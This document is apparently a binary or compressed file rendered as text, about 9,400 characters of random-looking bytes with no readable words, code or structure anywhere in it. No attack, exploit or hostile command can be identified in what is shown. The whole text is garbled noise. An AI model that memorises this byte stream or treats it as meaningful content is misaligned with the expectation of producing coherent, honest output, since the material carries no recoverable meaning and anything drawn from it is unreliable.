d)Fk��l6�S���щt�庥�6�Ք\�j�$A8˾}~�0�x� v�"/�{Z�7O[N�=+�V|S�彪o��[3Q����tC<�Ԯ.�q	i�����7�t�1��݉�Wu��6/�V�����}�R.�uƶa���p�CM�mփu�x�q"2��N���~sշ_��*�Lwi��cr�h�d%��%�^�U���4 �pq�g�٩���=��Qx�b�B��u�KA	Ӵ�k>��c����+��-��+xxC��R�Q�$�@{H�UVħ�/��'�Jp��Ċ�B�&Z�s�_�r	6���p�*2��G%�������M��X��q��'��F�=Ezh����c�V����MR�W���$����U�05�lZ���H/�P�8�J;���c�ڢ�+�DT�	"�Kj�R�yD��p��	D ]������%3R%*	�܏%i��s��&u��b{�0�&�4~�s��XB�!����`�QW'��y��og�	��d���f�������ȭg��5bE�����x�ue�6|�L�`�P�K�-���&c�2RN�n�n���,f6���S�Q�[fԄ����B��$���޲
��{��b;;��M]v7���I[�������a������>ː�ݱ�2�O9����i��Z~���uA�?�1����ƽU)C
٭m�:��3=m1e���$��߆K��7��h��銼5F�|�'�5���v9���t�I�f�"�n��2��|H�f��>�m#rL��ﱯ�CYi�a(�^���<�X��rM��W��T�Zb���o3�����.����?����ե.��6�/l��gl�i��7�*s:M�E�u"Z��57�nd	|H'
�M]�f���3�W�8JM"
l��WaH����	1ws�vu�{���lo�&U���"�QwzD镵��g���\ōо'��&B:$W�!��Vr�2>3����3=Q^�H�s�z��N[�v��%s:C'���9�x�'w[V���3����:�m��2�'36�Ҿ&Wˎ8���b�cQn�ډCL/$� �t��pj�m�A�5W�����pOﻆ����•%'���q��!�3đIjA�N��n6F޵��>�6��Gy��ґ*zͤ�3�iOޭ,� 8UI�欠���5��<ƴ���H���WT����]��C'Dž��z`��+��o�$%�H:
`�9jm�������X�����}��0��O�xU�x��E�ͪ�~�v�ͼXɡ�����ê�����4%�P�og�i0}J}K�ڒ�5���sꜵS
�7u�.�f�/3խ����k`h�W��!�p��@cŸ�<p0��Ӑq�D\����&	�K�#T�+�
d�	1�&U��x�DГ�$�?_���Z硐>���C�oհ��ͣC<�5�'pگ�6��l�����anb%Һ�Jw�$i�����O�d�@q��;0P9L��i�s4����д4�rr���LpR>�J���r���E>$v�r˄ɰs;sBh\��l*W��j9��s�C�wr1Pc�6��pH_㰙~΁��%�)��!+�Qh֪�%��d)�R��&'x�Id��o$$ap�0��{k�j[�$7�'�tO&��}*�㖵wJ}����:�cKTC�x��^�z��T=�9u^�KT�W-�0KyG˨����Y��(��us}Kj��j�6{s�rm|�N
@��[{�9_+���u��������%0��0�J�������-�v(!߃;V��@�ō����D�w��E��`�
��!|�l2��ߞ��YŘRS
���njE| ���tOS��e1�3WOڲ����)F.��˿�K�������
/��8vAnj��z�6)0�wo��
W���"���/Hyk��ƀ�!
�$J�a���؉@�Y�&*��>�Y
�bq]V�ꍣ�W�{����/�ǣ�@���ޅ���Iz�м�1��N�==�p�凳~v�<�m�����~���,�_}[�$�"dQ%��ޱ �m'c>F' iG�,2C;7A�-rR�a�o�[`�L6�(����ڼ��̦�!|���;�m�eZi,q&H9��J��k�B���YD1���-2x���
�3c��2<П�̆���Q%�Y§1���i
�OR��~��L�ufC� iF��a�+h먢Ŧ�:���/3*�|�i&����}�]r�q��{��b\��z �ʌ������
R�޽&��W�D�8T�Nw['��#��D��@U^�:��\f89��{w�j�l�57��:ȇ.8�P�&��Q;Rc�H��ڪ?h.h�>l��u;ߴ�&n>L��@��jb#�닏�5J����~�{
K�
�Fmg���Au�����&*��$Z#���+e�
x�+tR���w<�P�g�y��Y;@YjbY���8i�s|D��D�v��J�Au�f��LZ�-�TV+%�};�q��a]z�i>��^N_��Z=�=ي�`��>�"�;�O)\�o.l��P�ѯ>ᥟwX�IRۄ�-�)9��j�ɵ�c�0_��d��
q�Âz
���짖(.�tB���h��rC �Z"���;�I~<J>ff�^������P��~ؕ!R��U"W-�
E1^i������7|XL�Β&�p�G �:��Q��Ӌ����Rv�?�@�L�͢#9����J�u��©��@C�Ξ��b�@�g���-�He���;�VʱFm�G�e
u+s3S�ɿM�p�,��o��8~�t4��!Y�^�ȉ
3]5��92u��S�&с7�t��Q���#�;��O������⌚�W�+.
�2o��5�7�Pj^:j��x�iU��d��V$��׍P��1�=r=-#zJ��jw�B�[�9��/Z��Y}���[Y(��
z�;)
�>�[�-Z�F��y;t������\� �$�6��J��ǨT��W'�O����}���}9N�>�OW�6X	��3�b����f�[�J)�Z'1Jkj�G��Y9w���}e����{v��%�n�+)}�}{�@1_^9����o�T���aG����8�����$T ������&���^�0YAba��L"Y���Υ3ّ�H��rCQQ�rP��'�@ק{�N"�;���ك0ǟҟ�|�[�����b�t��w��~���h�ڵF�Iw:�K�35"��ڵ�-z#*0�b�+���B����]��{-��a]�VP�4����S� ���U^N9�Q�/��nwʄ������g��o��)���lR�}K��]X�F�j��3�@1�t2'�;D �dwGp�����)!��8�ţG����i5c55�+�L�-�Y���e�֑-P
:�m}�2S��"�jg�7����������p���Da�t�T:m&�{�4i�Q�%yME��
5�e�w1^Ǫ�w{��9:�ܼ�Z;p��0����'��F�CӒ�@�}�1~ZYme�ƅ1|8)��d�_IR��g�şz�B���X��iܞ�0�e�������b�Nu�<r�-Į��k���j����;A�mܳ�m[)�9I�,�,�>�uO�,����
�b�����ѯH@(�������T�fpֻ6��r䭂tT�d��Q�B�{26�:�t���ʿ���<�bԠLlt�*r�k(D�L���"ID��s�nېM��-�u��U|̶�9"��c1���\��i0
?V�:q֊��@d�ȑk��H@�0�C"�R!P3d��"$� �8���	���Lm�ˮ��h��Ok�+�w3A�#�%%��X!��la
=_�#r7��*
B#-M��uyS��\,ˆ��}Օ�S�:������V�}/�߹��(H����2$�W�V���+�Ql.��R\�?���;�^܈�N<?�[ ��O���x#�ߋ��_��x%�?�g6��*���7ş~h0v5���m��V+�:·=��?:�fK�;=t�]�
z�x�u������Ϧ�����ؿ9"�o��ؓ���;�
ۈ]|y�}�i�h�æD.�W��9��r�T6�R�@���BO�yF�h�?��}�eBrc�<�״�?W����
�329�T0ꛢ+H�*�Еe��n���{�	��9r�E:��:6윿�%+Eu\o�޸�4�R�%�_�Cړ<x{Z��_��m��YZvV�.6�1�/��dY��j��|�T���ղlӗ)�\����o*Tp8�ܔp�^��N����o��E+��7UC�N���G�s$\�'�$c��l)���A�_�@#�*q����2�P�֓��f��w��P�D����[�"fe
���e�ؗK��f5t�3d�ă;����/�v�u�V��j�[��*�C��|q�ໟ֞��G�.5!d�A�P��M�{<F�Q1��4���'�몞e��4*ԭ�����<ci�Z�q����1�s�>z���F���V���y�n��]k�y����E�,�~m�K�<������؂����G]?���n��R~�3�������~����1�C���HPV�Ã����*�7�"�1t��Q�F��
���J�D�M,h<�0��	��!�P
o��+j�.ʡ^%��]������L��-��U���b6�V;��\o٤9e��9�\�
:���|�ǿ��,/?Gc�|��:s�W:����t#��qr"?c;�7l��po�%X���2�m���a�B�%?�"�w+1�A���3�ȳڴ3��o&ws��t'�+8��J��+@�k}c�B+�u��?�]�a�ӽ�9������n0���Q+~&&��8nܮl�ƙѼ�]�'�1��iM����W]S٣�~�'�Z#�[�K*:�I�f}�#&n�t���H=܎;p�px�:u��r�f}�dh���ԛ�J9��f����E��fHA�P�AZ���6K�
�Nvwz��3�;d'CB
S�XL���2��ȉ�&���9̴�T"��x��`��խ
'N���ۦ�R^<X7�a23���Cʰ_U����S�s�Rw��\~�8��]�\�Ĺ9��	ɾ�J�R��9$H�]�\R�+ r���&��&�(t{���	���B,�K��^%Uj�|2�)D������
������\l�u�D/��ρ�F�{���Rm�6�K���r�*/��Ara�0���q�d��g�z41�w�3�Z�[����oٲ��±�|W��O���7+'�
�
uc'���y�-z�=�{�+�"���/�s�O1�W=���+��P�p�9���Q�g��[>��S����G�2��t�O�M��1:�ν����-��_��޼�+(;�W�A��X���
~����3 ���c�8�]r)��T�veJ�� ����ߍb�#A�'��3��U9�"A�����xzO%�d�,�/,�g��[�|�Y_L_�X:���1%��^/�:$zz����"i����U֬�"�K�ի�t�̋
@��'����b����|����*Uq3����P\ٳ����t�Y�����#}g�0�y�Q.�MJESx��D|黧6Δ�o�1�>�lW�C���`\ͱ��I8���6Iv��&�j+��
���ޜ����䯩�1���s}��S��||p�vGp�n�c��U//1�*i�u�ME'���bv�[��H
V��P3!L<�}s0��Mݛ\Tq�Y1G��%�-�?��U8�p���_��!agn�j����D��k�hO�%��f�	��)-rl��܆, zx����$�7�
'}�99T���] V��km\�u�@Z�{���|��_�T���^34!d�!�`����om�G�'�D��9{5&�ŀ�T���%�z	�mx�gd]�E�.Y���ј��.��#k��0�a�*Ot�`���V��� 02�6l}��)�Aj�s�~r�I_N�a8>����;�gX:�8���5-^P*�A���
��n�
�>6Sq�ك�ڞ����J{���N�ox�
(E�F�1�	��t�ʨ�4���b�0�@&�d���g��&^��)GDP�<{&zIP�E�0��<�v��$!d_(��#tDj�/���y�^�)�#>0<ٵ�ҍZ{�u�{�B�⎻��u��=���O�q±o9+;-�'�dx��(Y'� �ķ]�@E�1+�`4�OM�,&�#���ws�|`T��NW̼K%&�i'�,��9e��m��*!�$:R�Qnl��?
׫����z�l�`669�&]+�#�ȴ��s�5���<C�NSM���M�S��QF+���|�Lj�����;{��}z�1�N��m���s�p�%�̱-�iI���k��>2�r�M�E{�R���!�m�X����+m#a-4`�$����;g�6�S����.U��4���m�2�]H;����O�/y�����tҞ�V!��lf�ɰkg����06;�
���|7�@��#qd��߈S����Ň���o�0�c�0BZ�w��)�T���CK���l�i�F��O:���Z��}8
��3�]�	_N#�Diվ�몖�>�_����yGL��=ш�ȱ�`�� ;�e5�Q�����\��%w�fO��U��b�a�ʀ�ʦ��8����o`�?dR��9�?��LC�V<=?Ȅʹ���>gp�Q��q�!~��jb����d�	�˼��2�A2�m��C>K���WW����@�����<P	�f&?�
8v?*�C�9��T��;�	&9qg��8�1?�Í��p����\7��n���ìJ�bk�����uH�Y=˿@Ϛ�2�G�:�_؃�rr{�jx�RA�؅���ɣ�X��lm��C�U�6T��[�E:?ܽ�ژCc�u�Xg�hߎ��T�J;
S�eQ;N�I����G�i�x{���`;G����h��Pw�
�[ՠ���)����s��Y�-09:jY[��NwŁ��
��ݩ�+��iWnַLZ`)�
c9o=s�~�� ��^���ǎ��6���Xz��
�����Khh�b<�V�N���(��ǜ������TLׇ�/���#{��d��hh;ϼ�$,�f�"1_f|8;Sb-b�j���i���:�*2��VM���Pl�S�7?��e[l�ᜆ܀��?i{��*Ir�ٟV<j�Wr�r�T2�,�u�r��])�P(�W�|L�b��M�],z�1���h�����|D�t�Z����C�u�m�.^�zŹ��!�T��M�sL�#�5�,�a)�~�^��^{Υ{��xq_�U��l&���޳��:Z�ژ���;̋x�/��R�&>��[��=�j�M?f���_JO�C�<>�u%��������N�ns���h:b#�ϋJ>Mx5��o�\d��-��uFl��(I�\��:��.�y�aCbr߼���q��ɔ���A
I�89�f�Sw4G��=Y���?o�����B��h�r�ϣ�{�(��w}�@�F���c��sy�$�K��s�_GהF������D�D���G0��x�J���+2o�0Sv� Iz,��u\��c�a&
�Ļ8�k]��T�[G��p���d�*.h�>վ}�����k;}��aOI��ebN*&�ƲCG;g�X���:�a�)2aB�h�?Pۯ��P�w�U��zh��Щ��i�D�{U��-��:��nm��;� ���{�[��'�)M��1\�x�
��d�
>s5Xt4�N7Lg���[y���	|��VF���a�ӝ��,�R������A��ڀi�i�O���{�ܖ�>z,A0��v�
�$ǀ��'��B+�{Q�]w��!}=�dE��Ŋ�>׈bq�$��[��bw�VLv�H=QP�D)�n�uE��p�t�d�Ṁ�$;����q���v���W ��h��Gy���t���$\�J�D����	Y�w�U�:o+8IHу�7-��/3�A�ƕe��;/�DW�*��!FvRL��\�;�bt^ �̐H���i1(Qѵ�U�h��$	zʧI���X�Չ�isK���}������/���Ս��I�_���8'�ij��!�z�PD�oum�� v�82^�GE��*�Զ���A���qP�
�n�!�NUV���ח���w��GNt�Ŷk�џ����ץ�mT�Ocm8�RZ����D���oT.�z.s�I�EV�	�����H�ؙ�����.�30q��~թ �z������q,�����ٶ4�d'}ѕ�@O�}|~,4M�ta��������_�����C>V��~���gT:�׾޷.Թݞ�s�·�DG}��ܒ�����5�v{0Ϧ��O�A1�zv�h���4�0��牉GR�"XPX��R�ޱӃ}K';d����8w��j0
*����%��%�o���o�%�o���]j5��П��v�uʟ\�?��������N�Z��ǰH5ʄ��v�@�e��@� Y�KgN�2URXdw�Ś��Ms��
�L��R�����='�{T���l�W�������G 0�*�ٻu@B&D����)Z��
����M�^���]=3�:���s]���o`��ꇷ��sR���#��zG&��z�,V�ԏ,��}�:�U���Sg""��wd�����ԅu��%%�X��n�^�/���������	���I�䵟hʭ�x�Cl���F�,�M����L�z��GE�P%��;;?}�[Rǝ��D1�zL���y��9���υ�|!��E�{'S@�Ûu��k��������S:L��RP�փq?"�*�n��T�Q�Ҵ4D,��`�;��?\�uꉯ�w)�.nm4�,-��+rr��%�������-sF
��Ok��2-����	����'z�d���#�1�u6EN)���_1�,6������2�s�ʫ����N�<e��c�0x���{}��ы�4Q˿OͯL�?5/�x5'*~���_����P�	U��ațL�թV�V�%G�r�f�F�;}�6ԧ2o� ��ގD�a�Z�P�$"o�u��׮i)��_4'���z'��pד�9�A@l
�[sE����{[�+u7�*v�;�=��'�e������t}�u����
^�Wu��٨�v	�u�*N_�+�+�2�
p�x���J8��NǓo����dx29���4}�K�Bi3�'b*�^%:v�irҡe3lP�p�'�6�
��<Y�������ǩsTr���ThRVCrϼ�;�b[���<����a�!�ћ��O�ݔ�����
���M4���.m+���F^�_sCo�_�9��[�,r��S����5%)CS�Uv����߅��yXc������W���D�5Xe��a�>��Wkҏ����	{����QSP�w�t����z�>�k�����謾P�N�(�
V~4�$cވ1m��SĦ��2z��z��[Q��3ךz:p��{�>�O[�X8��[t��V�P�]?z?�.1��ֵ��ި���!�Ә�=�"3o��銇{5����Pzw�_��f�/m"�7��e�r�����A���{A�F���ކ鴸nЍF�ձ�:��
�c���#��ֲ�v+���E�ږ�v��W��i�v�x��
�f)������hT��J? ���'f��}��ի1!��a�o1{��Չ���&׋$�S��<*�� ��#M_)째�.�#C��aA���i�H�*�;�_D�~�����s܏L:Y����Ki[x�}:���;Nw���H���HŻ9�)��Q_�0La��q��R�ڊ.|Z�4��&w�TUF���~��Sf��;'c����[49K�trk�I$Ŝ_�����\�"����\�Sgu����P�r��w>����{S\��M
�Y�߰�8���=65���'ܛ!-ጀ�W��=�^,��'2�����`6g�ǔT䨁Q���[g���"��˚�h��I���@�2��M^���c�n<�#{^fe~�n���=�p,����^QkJ�T���6���n.T�w���~ȍ�nj֠9K�_C����K�u��^��h�N�z��D8YJ�bTf�s�l�����]��`)��	Oz:�����R���z�ucU��)��� �Ց�YIA e��U�*j�늺g��q27���k0sG��p�[��[�Z�i{'��M��K��UiD)��ۏ����#m*L؜��u��>�X�Q�I�%K̛R�A�;�ZdD�^e�5���54p9�:q�� ��!���fξ>nN�O;>�?n�@O�P���|^��Y��3s��n�����ֹy?	��}(�0�u�G�o���D}�aд���&0�.��y�~���R(D�'����y2Q@�M�B*R�9J5���dw������m�7IǸ��m��Tu�9A�C�'SZD�ȓ�*��Xޢ�jZ��x
L.p��*��$�u���lB�mK#n�ڊ��:^����l�C���dylu��
�>E�f
��A�XM|���MҾ��j�W��3�M��&�B����3���/26���gI�}�P]��B�u�1oɲ�>�we����J��y���|LD�\"Ao}U?���e�덆|Uљu�Ň����a8@��X����L	a��F��Yp��{�=�N<��:�D(�=^��o�<�o�+�Y�1����6�}��'aM�kwF|��pRz67C��-��V^f���X}U�7t����9�g�(��g:�؜}�E�t�]e���t�����װ�HВ�tx��lD�C��L�EǷp��K�&��J�-Mr�4���K�[o7Z�o�d̞`j�Wj�뢝_}#e1�h":������Ð+���x�a������j�n���i�lț>�Xf���۩q4�h3r\TgR�}�<��|M�b�0"�i�@�4��X�I���=�o�xب%�;yy��r����m���np��Yy.p��jHg�-0K���Ͻۮx��
89G8aUM^瘶/F�c�M-0KCג[+�����V��v��z(�*C�p��Y�*J�siR��&�[�J3���D�0�B�d���L���Z�D��T��C%���=|�*Չ��b����F'���Su�n�)G_·[��@��]���������FO�{�;A��ֹjMFz����zǓS����f%~$C�,;�������������M�T=�